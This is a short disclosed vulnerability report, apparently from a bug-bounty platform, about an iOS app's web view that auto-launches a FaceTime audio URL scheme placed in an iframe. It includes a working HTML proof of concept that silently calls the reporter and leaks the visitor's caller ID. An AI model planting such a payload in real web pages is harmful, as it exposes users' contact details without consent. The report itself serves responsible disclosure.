X / xAI · Report #28500
iOS App can establish Facetime calls without user's permission
Validstatus
4upvotes
27 Apr 2015disclosed
How it was found
When URL Schemes for local applications are inserted in an inline frame, the web view launches them automatically.
Example###:
<html>
<header><title>Facetime Audio URL Scheme Test</title></header>
<body>
<iframe src="facetime-audio://[email protected]"></iframe>
</body>
</html>
This page ( which you can also find at http://binaryfactory.ca/urlschemes/facetime.html ) - when loaded from Twitter on iOS (including 8), automatically establishes a Facetime Audio call to me, leaking the user's email address or phone number (caller ID information for their Facetime account).
I marked this as a CSRF but that isn't technically correct, but it is similar in behavior.
Thank you.